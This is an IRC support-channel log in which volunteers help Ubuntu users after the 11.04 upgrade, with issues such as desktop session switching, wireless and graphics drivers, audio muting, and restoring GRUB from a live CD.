[02:04] <Blake_> ActionParsnip: It sticks on the splash
[02:04] <ohsix> stravant: i don't see anything there that is muting anything by itself, finding out what's doing it is going to get ugly, you need to kill pulseaudio and run it in the foreground with logging, so you can see what client is muting it
[02:04] <Rockj> Ive tried backuppc, its neat for servers but a bit bleh for clients ...
[02:04] <Blake_> ActionParsnip: But its the -pae the one without it works.
[02:04] <ActionParsnip> Blake_: press ESC when plymouth shows, you will see the boot messages,what does it say?
[02:04] <cardamon> aj00200: alt-f2 isn't responding.
[02:04] <Rockj> !sbackup
[02:04] <ubottu> sbackup is a tool to create complete and/or incremental backups (which can be scheduled to be automatic, and can be done over a network). It is available in !Universe
[02:04] <stravant> Okay, does it need a command line option for verbosity or something?
[02:05] <Rockj> !cloning
[02:05] <ubottu> To replicate your packages selection on another machine (or restore it if re-installing), you can type « aptitude  --display-format '%p' search '?installed!?automatic' > ~/my-packages », move the file "my-packages" to the other machine, and there type « sudo xargs aptitude --schedule-only install < my-packages ; sudo aptitude install » - See also !automate
[02:05] <unc0nn3ct3d> oh my god this new GUI setup for 11.04 is hurting my brain.. how do I turn this mac-esque carebare deisgn off and go back to what it was in 10.04?
[02:05] <Blake_> ActionParsnip: I rather get ethernet working then 11.4 to boot
[02:05] <ohsix> unc0nn3ct3d: you could have just asked how to do it
[02:05] <ActionParsnip> unc0nn3ct3d: mac has the panel at the bottom
[02:05] <raymondjtoth> why did 11.04 build not turn on the 3945 abg wireless card everf thing but that dose work it worked in 10 build
[02:05] <raymondjtoth> dine
[02:05] <raymondjtoth> fine
[02:05] <raymondjtoth> whats goin on thanks?
[02:05] <jrenner> Hey guys I'm having an issue suspending. when I tell the comp to suspend it's hibernating instead. I need to only suspend because I run sshd on it and I need it to be accessible
[02:05] <ActionParsnip> unc0nn3ct3d: log off, select your name, then change the desktop you log in to at the bottom
[02:05] <unc0nn3ct3d> ActionParsnip: yea, I have a panel too, that part I like.. the rest, my god.
[02:05] <Rockj> unc0nn3ct3d: at login, you can still select gnome2 (ubuntu classic) as your window manager.
[02:05] <bazhang> raymondjtoth, whats the issue mine works fine
[02:06] <altearius> How do I view my system kernel log from an SSH shell and/or how can I start Unity from a SSH shell with X-Forwarding?
[02:06] <unc0nn3ct3d> Thank goodness
[02:06] <ActionParsnip> Blake_: ok then run:  sudolshw -C network   use the product line to find guides
[02:06] <raymondjtoth> bazhang: why did 11.04 build not turn on the 3945 abg wireless card everf thing but that dose work it worked in 10 build [20:05] <raymondjtoth> dine [20:05] <raymondjtoth> fine
[02:06] <ohsix> raymondjtoth: there were changes outside of ubuntu with the 3945 driver that affected ubuntu
[02:06] <raymondjtoth> i got a dell e1505 laptop
[02:06] <Blake_> ActionParsnip: Well I could, but it worked before and why not now?
[02:06] <ActionParsnip> altearius: i'd just run the apps yu want rather than thefull desktop
[02:06] <unc0nn3ct3d> thanks for the heads up.. the pressure is slowly releasing from my head at having to try to manage through that gui.
[02:06] <raymondjtoth> ohsix how i fix it thanks
[02:06] <toff> Hai
[02:06] <jrenner> anyone have an idea why my system is hibernating when it should be suspending?
[02:06] <ohsix> jrenner: ssh will not be accessible if you suspend or hibernate
[02:06] <bazhang> raymondjtoth, yes, try the hardware switch for the wifi if you have one
[02:07] <jrenner> oh really?
[02:07] <jrenner> doesn't WOL solve that?
[02:07] <ohsix> jrenner: for all intents and purposes the computer is off
[02:07] <raymondjtoth> bazhang:  ddi you see wgar ohsix posted
[02:07] <aj00200> cardamon: ok. Have you tried safemode or whatever it's called in Linux. I think it is called recovery mode or failsafe or something like that
[02:07] <raymondjtoth> ohsix: any fix yet for it
[02:07] <altearius> ActionParsnip: I don't know the command to run the system log viewer. =/
[02:07] <ohsix> jrenner: WOL is something else and it can wake computers up from hibernate or suspend, if your bios supports it
[02:07] <ActionParsnip> Blake_: well you changed your system in a huge way, so it will be affected, its a regression bug
[02:07] <jnovek> Hey guys -- my wife just upgraded her machine to 11.04 and Unity flakes out on her.  Is there a config I can hack up to get it to boot classic?  She's configured to auto-login so I can't just switch env. on login for her.
[02:07] <ActionParsnip> altearius: dmesg | less
[02:07] <prodigel> hi all. just updated to 11.04. Big question: how do I revert to the classical window manager? I'm not used to the shiny new compiz interface, and I really want back the old one. thanks
[02:07] <bazhang> raymondjtoth, yes, I have that chipset and it works flawlessly with 11.04
[02:08] <bazhang> prodigel, at the login window choose classic
[02:08] <ohsix> raymondjtoth: you might listen to bazhang, i just know there were some changes and some people had problems
[02:08] <raymondjtoth> bazhang: weird might be some not afected and some is
[02:08] <jrenner> ohsix: I've had this working before so I'm trying to see if there's anything I need to do. do I need to install anything on ubuntu for it to wake on lan or is it purely a bios thing?
[02:08] <Blake_> ActionParsnip: Well I should add it's on my Motherboard and I have the disk and for Linux it tells me to update the Kernel.
[02:08] <raymondjtoth> ohsix:  im one that hhaving the problem
[02:08] <raymondjtoth> ohsix: any work around
[02:08] <ActionParsnip> altearius: or run:   gnome-system-log &
[02:08] <toff> freeradius : I configured freeradius to mac auth . But having a problem . Even though the client can connect to the server if authenticated . While during the same session when he try to reconnect the server is sending a access-reject. can anybody help me in this?
[02:08] <bazhang> raymondjtoth, does ifconfig show it
[02:08] <ohsix> raymondjtoth: if there was, i don't know it
[02:08] <altearius> ActionParsnip: Thanks!
[02:09] <raymondjtoth> bazhang: it shows ever were even in ifconfig
[02:09] <toff> What is the cause of  this problem?
[02:09] <aj00200> Rockj: does "incremental backup" mean that it will store the changes not the whole file?
[02:09] <ActionParsnip> altearius: all i did was grep the .desktop file and it shows the command it runs
[02:09] <ohsix> jrenner: well i think the OS can have a say in wether WOL will bring the machine out of suspend, but i think it's still down to the bios
[02:09] <Roasted> I'm browsing my samba share on a laptop. All of the thumbnails are coming up black with the white text JPG. Is there any way I can SEE the thumbnails?
[02:09] <raymondjtoth> bazhang: any idea
[02:09] <jrenner> ohsix: thanks I'll look into it
[02:09] <ohsix> aj00200: it means that each backup won't be a full copy, generally it means it will only store changes to a file, yes
[02:09] <ActionParsnip> Blake_: you may find the new kernel is ok once you get a desktop
[02:10] <cardamon> Just ran the Natty Narwhal upgrade widget.  I've got an invisible menubar up top.  It's semi responsive, but I can't access any applications.  I can't even get a term up and alt-f2 isn't giving me a run menu.  I could use some help fixing it.  I suspect compositing might be an issue.  I usually disable it because this netbook is quite slow and the intel 945GMA doesn't like it.
[02:10] <toff> freeradius : I configured freeradius to mac auth . But having a problem . Even though the client can connect to the server if authenticated . While during the same session when he try to reconnect the server is sending a access-reject. can anybody help me in this?
[02:10] <bazhang> raymondjtoth, well I had the hw switch on mine, and after clicking it on/off/on I found it availabe in the nm dropdown (ie my access point)
[02:10] <aj00200> ohsix: ok, thanks
[02:10]  * hiexpo WOW
[02:10] <Lantech> Hello
[02:10] <ActionParsnip> hiexpo: ?
[02:10] <raymondjtoth> bazhang: i did the switch dont turn it on
[02:10] <stravant> ohsix: http://pastebin.com/mGX7Z2PD That's the output that comes up when I unmute it and it remutes
[02:10] <toff> freeradius : I configured freeradius to mac auth . But having a problem . Even though the client can connect to the server if authenticated . While during the same session when he try to reconnect the server is sending a access-reject. can anybody help me in this?
[02:10] <bazhang> toff, stop repeating every five seconds
[02:10] <kpoman> help !
[02:11] <ohsix> stravant: yea but it doesn't say what client sent the mute, add -vvv so it's noisier
[02:11] <aj00200> cardamon: if you log out and switch to "failsafe gnome" at the bottom (you are still on 10.04/10.10 right?), does it work?
[02:11] <Blake_> ActionParsnip: I not quite sure if I follow. I created a partition installed 10.10 booted into that 10.10 partition. And it doesn't work when I used the exact same disk to install it before.
[02:11] <robin0800> kpoman, is that a question?
[02:11] <raymondjtoth> bazhang: hope can still have idea
[02:11] <Lantech> I've migrated a win7 install with Wubi to an SSD.  Then, I moved the wubi install to a "real" install on a partition.  Now, I'm upgrading to 11.04.
[02:11] <toff> bazhang : really urgent bcuz my project it is ?
[02:11] <bazhang> raymondjtoth, already on final?
[02:11] <raymondjtoth> it like if there no driver in windows or a maping for it in dell e1505
[02:11] <Lantech> Do I need to do any tweaks RE the SSD?
[02:11] <kpoman> robin0800: I posted my Xorg log, failure loading DRI for radeon on 11.04
[02:11] <hiexpo> ActionParsnip, nah i am alright brotha   thanks though probally help for a minute deciding if i wanna jump in on this   >   is very busy
[02:11] <raymondjtoth> bazhang: it gave me it as update
[02:11] <Lantech> in terms of trim support or anything?
[02:11] <bazhang> toff, that will get zero help. try every 15 minutes
[02:11] <cardamon> aj00200: No. I moved to Narwhal.
[02:12] <ActionParsnip> Blake_: I though you said you upgraded to natty? SO why is the install disk part of the equation
[02:12] <aj00200> cardamon: ok. Are you using Unity or Gnome?
[02:12] <fr00g> Can anybody tell me why there is no longer a battery indicator in Unity2d?
[02:12] <Lantech> No?  Yes?  Maybe?  Fuck off Lantech?
[02:12] <cardamon> aj00200: I don't know what.  Whatever's default.
[02:12] <IdleOne> !language | Lantech
[02:12] <ubottu> Lantech: Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
[02:12] <toff> bazhang : let me try
[02:12] <bazhang> Lantech, no cursing
[02:12] <Lantech> sigh
[02:12] <ActionParsnip> fr00g: in power settings you can enable/disable it
[02:12] <Blake_> ActionParsnip: I did, but I didn't like it so I created a partition and put 10.10 back on there. Because I have 200GB of movies and music and stuff that I don't want to re-do.
[02:12] <raymondjtoth> bazhang: amy idea
[02:12] <cardamon> I heard it was switching to Unity, but at no point have I been given an option to make a switch.
[02:13] <hiexpo> !lanuuage > Lantech
[02:13] <fr00g> Ah, thank you!
[02:13] <bazhang> raymondjtoth, patience please
[02:13] <Lantech> yeah, thanks.  tell me again.
[02:13] <Lantech> TIL this channel sucks
[02:13] <stravant> ohsix: That looks more useful: http://pastebin.com/ABW4t2kE
[02:13] <ohsix> Lantech: the kernel and filesystems in it would handle discard and stuff; newer does more, but the long short of it is you'd be looking at kernel changes between versions
[02:13] <raymondjtoth> bazhang: sorry im austic person
[02:13] <aj00200> cardamon: ok. Unity is default. You might want to try logging out and when you are logging in, select Gnome or failsafe or fallback or something like that at the bottom of the screen after you click your user name
[02:13] <cardamon> I was running Lucid, the thing told me an upgrade was available, I had time so I ran it.
[02:13] <raymondjtoth> sorry that not waiting some times it comes out
[02:13] <stravant> ohsix: That's the whole mute-remute cycle
[02:13] <fr00g> I have another question, when I use Faenza icons, the Unity2d panel still shows the default Ubuntu icons, why?
[02:13] <bazhang> raymondjtoth, I'm checking the forums. please patience
[02:13] <ubuntumanny> Anyone know how to add global menu support for celtx?
[02:13] <raymondjtoth> bazhang: o ok want sure
[02:14] <sarasota_mac> anyone try updating to Natty Narwhal
[02:14] <SinnerNyx> on ubuntu server trying to run a command on server bootup. not on login. Where would I put the command?
[02:14] <ohsix> stravant: do you have multiple ovlume controls open? i saw 3 in pacmd ls
[02:14] <aj00200> sarasota_mac: yes, I updated
[02:14] <BKTech86> hi, I can't boot my disk - i used to dual boot win7/ubuntu and now i've restored grub and checked using a script that everything is correct in the MBR, etc. but the disk won't boot -- i can mount it from a live cd boot and all that - read/write, but it won't boot
[02:14] <ohsix> SinnerNyx: if it doesn't depend on anything, rc.local
[02:14] <sarasota_mac> i did and my video now has to run in low graphic mode
[02:14] <ohsix> SinnerNyx: if it does you probably want a sysvinit/upstart script to start it after the resources you need are available
[02:15] <magicka> hey
[02:15] <stravant> I don't know, I would assume I only have one, I don't even have the indicator applets running, I tried removing them to see if they were the problem
[02:15] <kpoman> robin0800: got any idea ? http://pastebin.com/nKRxwuuU
[02:15] <fr00g> When I use Faenza icons, the Unity2d panel still shows the default Ubuntu mono icons, why?
[02:15] <magicka> Anyone know about installing Broadcom b43 drivers on ubuntu 11.04
[02:15] <BKTech86> I also can't boot from "boot from first disk option" of the live cd, -- does anybody know what could be preventing this disk from booting?
[02:15] <aj00200> sarasota_mac: do you mean the window effects?
[02:15] <gtlarue> my sound has suddenly became choppy, all of it sounding like a person speaking through a fan, trying to find a way to bring it back to normal without rebooting
[02:15] <raymondjtoth> thanks for helping bazhang
[02:15] <sarasota_mac> so far i'm not to impress with ubuntu, first update and it blows up!!
[02:15] <robin0800> fr00g, you have to log out or even reboot first
[02:15] <ohsix> magicka: the drivers are there and don't need to be installed, they do need firmware though
[02:15] <ActionParsnip> !broadcom | magicka
[02:15] <ubottu> magicka: Help with Broadcom bcm43xx can be found at https://help.ubuntu.com/community/WifiDocs/Driver/bcm43xx
[02:15] <namzezam> why no one replay to this bug on linux-headers-2.6.35-28-generic ?
[02:15] <magicka> uhhhhhhhhhhhh
[02:15] <magicka> k
[02:15] <Marsha||[a]> hello
[02:15] <fr00g> Are you sure? When I log out/in all the appicons chanegd, just not the panel icons?
[02:16] <aj00200> sarasota_mac: are you talking about the window effects?
[02:16] <Marsha||[a]> i just upgraded to ubuntu 11.04
[02:16] <Marsha||[a]> then upgraded to gnome 3
[02:16] <cardamon> aj00200: Is it listed as something else? My options are Ubuntu, Ubuntu Classic, Ubuntu Classic (No Effects)...
[02:16] <sarasota_mac> and it's garbage huh
[02:16] <SinnerNyx> ohsix: Thx, I'm trying it out now
[02:16] <Marsha||[a]> now i got the oh no! something has gone wrong error
[02:16] <exad> Hello everone
[02:16] <truepurple> Hi, anyone know anything specific about ATI drivers?
[02:16] <Marsha||[a]> can't open my gnome anymore :(
[02:16] <Marsha||[a]> anyideas ?
[02:16] <aj00200> cardamon: yes, try Ubuntu Classic (No Effects). This should be Gnome
[02:16] <exad> I am thinking about putting ubuntu 11.04 on my alienware m11x r2
[02:16] <sarasota_mac> when i boot up i see my desktop with flashing icons, mail and untitled folder
[02:16] <exad> but I have a question
[02:17] <exad> My laptop has optimus graphics switching technology
[02:17] <sarasota_mac> then i reboot selecting run in fail safe,
[02:17] <raymondjtoth> bazhang: stil here
[02:17] <raymondjtoth> still here
[02:17] <namzezam> why no  replay  on linux-headers-2.6.35-28-generic  BUG?
[02:17] <tjiggi_fo> !gnome3 | Marsha||[a]
[02:17] <ubottu> Marsha||[a]: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[02:17] <cardamon> aj00200: That worked.
[02:17] <stravant> ohsix: What would I be looking for in terms of multiple volume controls?
[02:17] <exad> is there any way I can disable one of the cards or something since linux doesn't support optimus yet?
[02:17] <bazhang> raymondjtoth, yes, still looking
[02:17] <Blake_> ActionParsnip: You didn't forget about me did you? I know it's busy, but just making sure.
[02:17] <aj00200> sarasota_mac: please keep your question/explanation on one line so it doesn't get mixed in with other questions
[02:17] <vivid> exad, you cant use optimus
[02:18] <stravant> ohsix: (In terms of process names?)
[02:18] <tjiggi_fo> Marsha||[a], that's what happened
[02:18] <raymondjtoth> bazhang: thanks for helping me
[02:18] <lmd1984> I never used Ubuntu, I always use Windows. So, this is my first time in this operative system. I just have one question, Can I install normally the sims 3 on this release of Ubuntu?
[02:18] <lmd1984> The truth is that I have no idea if the sims 3 it can be install on Linux.
[02:18] <lmd1984> I'd really appreciate an answer. Thanks.
[02:18] <toff> freeradius : I configured freeradius to mac auth . But having a problem . Even though the client can connect to the server if authenticated . While during the same session when he try to reconnect the server is sending a access-reject. can anybody help me in this?
[02:18] <escott> exad, it would be in your bios
[02:18] <Marsha||[a]> :S
[02:18] <Marsha||[a]> so what can i do now ?
[02:18] <exad> Can I disable any of the video cards though?
[02:18] <exad> its not in my bios
[02:18] <vivid> exad, if you have an ATI card there are options for it, but you wont need it really
[02:18] <exad> it's managed by software
[02:18] <ActionParsnip> Blake_: do you dual boot?
[02:18] <tjiggi_fo> Marsha||[a], reinstall 11.04
[02:18] <bazhang> lmd1984, check the appdb and ask in #winehq
[02:18] <ardchoille> What is Ubuntu's official twitter page?
[02:18] <exad> its an nvidia card
[02:18] <Marsha||[a]> i upgraded
[02:18] <vivid> exad, i have the m15x and i get about 4 hours on battery which should be more than enough
[02:18] <aj00200> cardamon: great! I had a similar problem on an older computer with the Unity beta. I haven't updated to Natty there yet so it may be your graphics card not supporting 3d acceleration.
[02:18] <Blake_> ActionParsnip: Before No. Now yes.
[02:18] <bazhang> !appdb | lmd1984
[02:18] <ubottu> lmd1984: The Wine Application DB is a database of applications and help for !Windows programs that run under !WINE: http://appdb.winehq.org - Join #winehq for application help
[02:18] <Marsha||[a]> cant reinstall all data here :(
[02:19] <robin0800> kpoman, think there is something about this in the release notes
[02:19] <sarasota_mac> sorry about that
[02:19] <Marsha||[a]> i am on KDE now
[02:19] <cardamon> How to configure Unity? If I can get compositing off it may work.
[02:19] <namzezam> why no  replay  on linux-headers-2.6.35-28-generic  BUG?
[02:19] <escott> exad, i thought optimus did something weird running the nvidia controls through the intel card. but check the forums and see
[02:19] <vivid> exad, so nvidia = no, you just use the nvidia card and set up power saving when youre on battery, should work fine
[02:19] <Marsha||[a]> but it sucks i am more gnome person lol
[02:19] <ActionParsnip> Blake_: boot to windows, enable the nic then boot ubuntu, should be ok
[02:19] <fr00g> I have an issue, when I use the live CD, unity 3d works, on the hard drive after installation, I'm forced to use 2d
[02:19] <fr00g> Why?
[02:19] <exad> vivid: I just dont want my 335gt running 247 and heating up my system
[02:19] <aj00200> cardamon: you may have to isntall Unity 2D to get it to work if your graphics card does not support 3D hardware acceleration
[02:19] <Marsha||[a]> tjiggi_fo, i can't just remove & reinstall old gnome 2.* ?
[02:20] <Blake_> ActionParsnip: I lied I don't dual boot ubuntu and Windows it just ubuntu 10.10 and Ubuntu 11.4
[02:20] <uRock> !apparmor
[02:20] <ubottu> For information about the AppArmor security framework employed in Ubuntu (since Gutsy Gibbon), see https://help.ubuntu.com/community/AppArmor
[02:20] <vivid> exad, when you power up and its on battery, it will automatically go low power, when mine is on battery it does no heating
[02:20] <namzezam> yes, it some times i try upgrade and fail on linux-headers-2.6.35-28-generic  , i do report it here and no one even look at it, why?
[02:20] <vivid> exad, short story, youll have little trouble with it and you dont need to worry about optimus
[02:20] <exad> but it will use the 335gt by default? will it never use the Intel HD graphics?
[02:21] <robin0800> namzezam, report it as a bug then
[02:21] <vivid> exad, it will use your nvidia card
[02:21] <namzezam> where and how
[02:21] <exad> ok I guess Ill give it a shot then
[02:21] <sarasota_mac> any idea how to add my nvidia video card
[02:21] <stravant> ohsix: "gvfs-afc-volume-monitor", "gvf-gdu-volume-monitor", "gnome-volume-control" were open
[02:21] <exad> vivid have you tried gaming with wine at all?
[02:21] <jnovek> I have an 11.04 upgrades that auto-logins and has a hosed Unity -- is there a config file I can edit to set it to Gnome2/Classic?
[02:21] <vivid> exad, i havent tried natty or maverick on my laptop yet so i dunno how theyll act, currently using lucid
[02:22] <sarasota_mac> don't load natty
[02:22] <lmd1984> thanks, has been very helpful.
[02:22] <exad> I see
[02:22] <stravant> ohsix: Or at least that's what I found with ps -A grep "vol" / "sound"
[02:22] <uRock> does anyone know where all of the apparmor profiles for chromium are in ubuntu 10.10?
[02:22] <exad> Well I will give it a shot then
[02:22] <vivid> exad, yes i get about 60 fps in wow and about the same in tf2 with the gt 240m
[02:22] <exad> you've been most informative thank you
[02:22] <MK``> Are the earlier releases of Lucid. 10.04 and 10.04.1, available for download anymore or do they only host 10.04.2?
[02:22] <namzezam> http://paste.ubuntu.com/598867/
[02:22] <ohsix> stravant: first 2 have to do with storage volumes, not volumes volumes, i was talking about connected clients in the output of pacmd ls
[02:22] <escott> jnovek, /etc/gdm/custom.conf
[02:22] <emacsen> How come the scrollbar is different in pidgin than in gnome-terminal or firefox?
[02:23] <gruyen> what is the package name of the installer (for reporting bugs w/ ubuntu-bug)?
[02:23] <sarasota_mac> where do i run nvidia-xconfig from
[02:23] <stravant> ohsix: I have like, 20 tabs open so I'm sure there's several things using sound references
[02:23] <exad> bbl
[02:23] <tjiggi_fo> Marsha||[a], there's no way back. Read the ubottu factoid again. Just use a live CD to rescue your data and reinstall
[02:23] <Blake_> ActionParsnip: ...
[02:23] <stravant> ohsix: Would it help to only have one open?
[02:23] <BKTech86> can anyone help me get my harddrive to boot again please? windows7 repair screwed it up
[02:23] <jnovek> Thanks, good luck guys.  Lots of (mostly god) surprises in Natty.
[02:23] <scorch_> how do I make the desktop icons smaller on unity?  WAY TOO BIG, lol
[02:23] <raymondjtoth> bazhang: thansk agen for helping
[02:23] <Marsha||[a]> cant uninstall gnome & reinstal old one ?
[02:24] <sarasota_mac> any idea why video works in fail safe mode but not in regular
[02:24] <tjiggi_fo> Marsha||[a], you can try but I cannot help you
[02:24] <escott> BKTech86, have you reinstalled grub?
[02:24] <BKTech86> escott: yes
[02:24] <jeremymcs> natty is jank
[02:24] <Marsha||[a]> i think i will have to
[02:24] <sarasota_mac> yes it is
[02:24] <jeremymcs> ugly
[02:24] <scorch_> your jank
[02:24] <escott> BKTech86, do you know what win 7 did?
[02:24] <Marsha||[a]> thanks tjiggi_fo u helped already
[02:24] <stravant> scorch_: Alt + F2, about:config, then in experimental there's a size setting
[02:25] <uRock> !opinions
[02:25] <BKTech86> escott: i have no clue but the disk is not bootable
[02:25] <BKTech86> escott: mountable, readable, writable, but not bootable
[02:25] <hiexpo> Blake_,  no one is gonna wanna help you here if you keep playing  whatever game you are playing   >   if you want help than ask your serious ? an so be
[02:25] <aj00200> sarasota_mac: I think it might not work in the regular mode because your graphics card does not support 3D hardware acceleration, but I am not sure.
[02:25] <escott> BKTech86, sounds like you don't have a bootloader in the mbr
[02:25] <BKTech86> escott: i ran some boot_info_script.sh
[02:25] <escott> BKTech86, you would need to boot the livecd, chroot into the ubuntu system, then run grub-install /dev/sda
[02:25] <plummerb> Question for the intellihancia
[02:26] <BKTech86> escott: it said the mbr is in /dev/sda and points to my linux partition where grub is successfully installed blah blah
[02:26] <scorch_> stravant its not coming up, just about config
[02:26] <BKTech86> escott: i'm pretty sure grub is there in the boot folder
[02:26] <BKTech86> escott: but if that's not enough, can you guide me through this chroot thing?
[02:27] <stravant> scorch_: Does Alt+F2 bring up the "run command thing"?
[02:27] <escott> BKTech86, yeah best not to trust the script
[02:27] <scorch_> yes
[02:27] <BKTech86> escott: btw, grub-install said Installation successful.  No errors reported.
[02:27] <scorch_> strvant yes
[02:27] <escott> BKTech86, when you get to the live cd open a terminal
[02:27] <BKTech86> escott: ok i'm almost there
[02:27] <stravant> scorch_: about about:config brings up CompizConfig?
[02:27] <Blake_> hiexpo: I am being serious. I don't have Windows on that computer.
[02:28] <uRock> nevermind, I found it
[02:28] <scorch_> stravant no
[02:28] <BKTech86> escott: ther
[02:28] <plummerb> Can anyone tell me if there are any issues with upgrading to 11.04?  Specifically concerning how your desktop is displayer?
[02:28] <plummerb> Displayed...
[02:29] <cardamon> plummerb: It's not.
[02:29] <bazhang> plummerb, what version are you on now
[02:29] <escott> BKTech86, then do the following: sudo mkdir /mnt/ubuntu; sudo mount /dev/sda# /mnt/ubuntu (# should be your ubuntu root partition); sudo mount /dev/sda# /mnt/ubuntu/boot (if you have a boot partition); sudo mount --bind /dev /mnt/ubuntu/dev; sudo chroot /mnt/ubuntu; sudo grub-install /dev/sda1
[02:29] <cardamon> A lot of us seem to be experiencing bugs.
[02:29] <aj00200> plummerb: the main issue is that some people end up using Ubuntu Classic (Gnome) rather than the new display (Unity)
[02:29] <plummerb> I upgraded to 11.04
[02:29] <stravant> scorch_: try sudo apt-get install compizconfig-settings-manager
[02:30] <scorch_> k
[02:30] <BKTech86> escott: by "if you have a boot partition" you mean if i have a separate partition solely for the "boot" folder, right?
[02:30] <stravant> scorch_: Then try about:config again
[02:30] <escott> BKTech86, yes
[02:30] <BKTech86> escott: my boot folder is in /dev/sda5/boot -- so it's not a separate partition
[02:30] <plummerb> Yes, I noticed the major change...
[02:30] <escott> BKTech86, then skip that command
[02:31] <aj00200> plummerb: no. I'm saying that this new interface doesn't work for some people and they have to revert to the older one
[02:31] <BKTech86> escott: sda1 is my windows partition
[02:31] <BKTech86> escott: should i not do sudo grub-install /dev/sda5?
[02:31] <oneliner> 1176 MB for the 11.04 update?
[02:31] <escott> BKTech86, sorry sudo grub-install /dev/sda (no number)
[02:31] <BKTech86> escott: ok
[02:31] <plummerb> Well, I see that gnome is running so I guess gnome is still the window manager on my system.
[02:31] <cardamon> Anyone know way to configure unity when running Ubuntu Classic?
[02:31] <ohsix> oneliner: to update your installed packages
[02:32] <oneliner> 1740sh of them
[02:32] <oneliner> sweet!
[02:32] <BKTech86> escott: /proc/devices: fopen failed: No such file or directory a bunch of times
[02:32] <BKTech86> escott: then "Is device mapper driver missing form kernel?
[02:32] <oneliner> i wonder what will happen with non traditional software like apache servers in opt n all that
[02:33] <plummerb> Do I have to switch to Unity?
[02:33] <BKTech86> escott: Failed to set up list of device-mapper major numbers, then more of the 1st error a bunch of times
[02:33] <scorch_> stravant ok, I am talking about icons I put on the desktop
[02:33] <BKTech86> escott: then "Installation finished. No error erported." <-- lol
[02:33] <escott> BKTech86, :) hmmm you could try grub-install --recheck /dev/sda maybe that will silence the warning
[02:33] <Blue1> BKTech86: no errors airported - means it didn't fly the coop
[02:33] <ohsix> plummerb: you don't have to do anything
[02:33] <stravant> scorch_: Sorry, figured your were taking about the ones in the menu since I had the same problem
[02:34] <robin0800> cardamon, what do you mean?
[02:34] <escott> BKTech86, we didn't bind mount the /proc
[02:34] <BKTech86> escott: should we have?
[02:34] <[thor]> plummerb: at login, you can choose "Ubuntu Classic"
[02:34] <BKTech86> escott: btw i have no idea what that means
[02:34] <escott> BKTech86, in another terminal execute sudo mount --bind /proc /mnt/ubuntu/proc
[02:34] <Kage> I am having a issue, after the boot splash screen, I get a blank screen.  I can not move to a vertiral console (ctrl + alt + fX).  I have tested ubuntu and kubuntu, with both 64 and 32 bit archs.  This happens both with the live cd and  after install from alternate disks.
[02:34] <escott> BKTech86, that should silence the warnings
[02:34] <Blue1> escott: ru trying to recover the mbr?
[02:34] <[thor]> plummerb: ultimately, you can choose whichever desktop environment you wish.
[02:34]  * ceed^ is away: Auto-away after 30 mins idle (gone at 29th Apr, 20:34:54)
[02:34] <BKTech86> escott: should re-do the grub-install command now?
[02:35] <cardamon> robin0800: I mean that in Unity, I've got invisible menus and can't find anything to run or configure anything.  I'd like to fix it.  I'm in classic pre-Unity gnome at the moment.
[02:35] <Kage> I can get knoppix to boot, anyone wanna tell me where I should start looking for the issue?
[02:35] <escott> Blue1, yes restoring the mbr
[02:35] <plummerb> thor: Alright.  Classic works better with gnome?
[02:35] <escott> BKTech86, yes try after that bind mount
[02:35] <BKTech86> escott: right, no errors
[02:35] <escott> Blue1, seems to be a lot of broken grubs after this upgrade
[02:35] <Blue1> escott: okay I have the procedure written down if you'd like:  http://pkill-9.com/recovering-ubuntudebian-linux-after-a-windows-installhiccup/
[02:36] <BKTech86> escott: i didn't upgrade!
[02:36] <escott> BKTech86, cross your fingers and reboot?
[02:36] <scorch_> does anyone know how to make desktop icons smaller in unity?
[02:36] <[thor]> plummerb: i'm not sure; I have only tried the beta of Natty, and i could not get Unity to work correctly.
[02:36] <uhuhuh> hello. How to configure 11.04's application panel?
[02:36] <BKTech86> escott: ok will do
[02:36] <robin0800> cardamon, sounds like compiz/unity crashed
[02:36] <cardamon> robin0800: Probably.  I don't use compositing anyway.  My intel 945GMA doesn't like it.
[02:36] <plummerb> thor: Alrighty...  I'll give it a shot.  Thank you.
[02:36] <plummerb> Thanks all
[02:37] <cardamon> So I want to turn it off and I need to find where it is.
[02:37] <robin0800> cardamon, then you can't run unity 3d
[02:37] <sushemsu> are there proprietary drivers for on board for my toshiba laptop on my ubuntu 10.10
[02:37] <BKTech86> escott: no dice
[02:37] <escott> Blue1, i feel like this is one of those things people will just want to be walked through
[02:37] <Blue1> escott: it's all there though --
[02:37] <sushemsu> umm on board video
[02:37] <Nappz> What command line tool can I use for expanding my main boot partition?
[02:37] <escott> BKTech86, but you can mount /dev/sda5 fine
[02:37] <BKTech86> escott: correcvt
[02:38] <Blue1> Nappz: gparted?
[02:38] <escott> Blue1, I know just a comment on the psychology of the situation... not booting freaks people out
[02:38] <stravant> ohsix: So is there anything you can do with this: http://pastebin.com/TWwN9n8t paulsdio -vvv output for the muting?
[02:38] <cardamon> robin0800: So what?
[02:38] <Blue1> escott: I am convinced that I made the right decision in staying with 10.10
[02:38] <escott> BKTech86, have you run an fsck on it?
[02:38] <ohsix> stravant: i don't know why g-v-c would be muting it by itself; something else is doing it
[02:38] <Nappz> k thanks
[02:38] <robin0800> carandraug, classic or unity 2d
[02:38] <BKTech86> escott: is that an acryonym for all of the cursewords going through my mind atm?
[02:39] <stravant> ohsix: So it is the volume control muting it?
[02:39] <robin0800> cardamon, , classic or unity 2d
[02:39] <Blue1> BKTech86: fsck is file stucture check
[02:39] <BKTech86> escott: trying now...
[02:39] <escott> its a well chosen command name :) if anyone says your filesystem is fsck'ed you know what they mean
[02:39] <BKTech86> escott: Blue1: i tried using the check disk utility from live cd
[02:39] <ohsix> stravant: that's what it says, what it doesn't say is why; theres no functionality to automatically mute your sound every 5 seconds in it ;]
[02:39] <escott> BKTech86, although yours sounds fine which is what is so confusing
[02:39] <BKTech86> escott: said there were no errors
[02:40] <BKTech86> escott: is that equivalent to fsck?
[02:40] <stravant> ohsix: Is there any way I can unmute it via the command line without havingt he volume control running?
[02:40] <IanLiu> After last update from Natty, I can't login with GDM anymore. The password seems to be accepted, the screen gets black, and the GDM screen appears again. Any hints?
[02:40] <BKTech86> escott: could it be something in the bios?
[02:40] <plummerb> Well, I logged in using Ubuntu Classic but my desktop icons are still all jacked up...  lol
[02:40] <BKTech86> escott: i believe i put everything back to normal but .. ?
[02:40] <escott> BKTech86, probably just a gui for it. how is your system partitioned
[02:41] <BKTech86> escott: i have win7 on sda1
[02:41] <Desqwewehyhg> hi
[02:41] <BKTech86> escott: and ubuntu on sda5
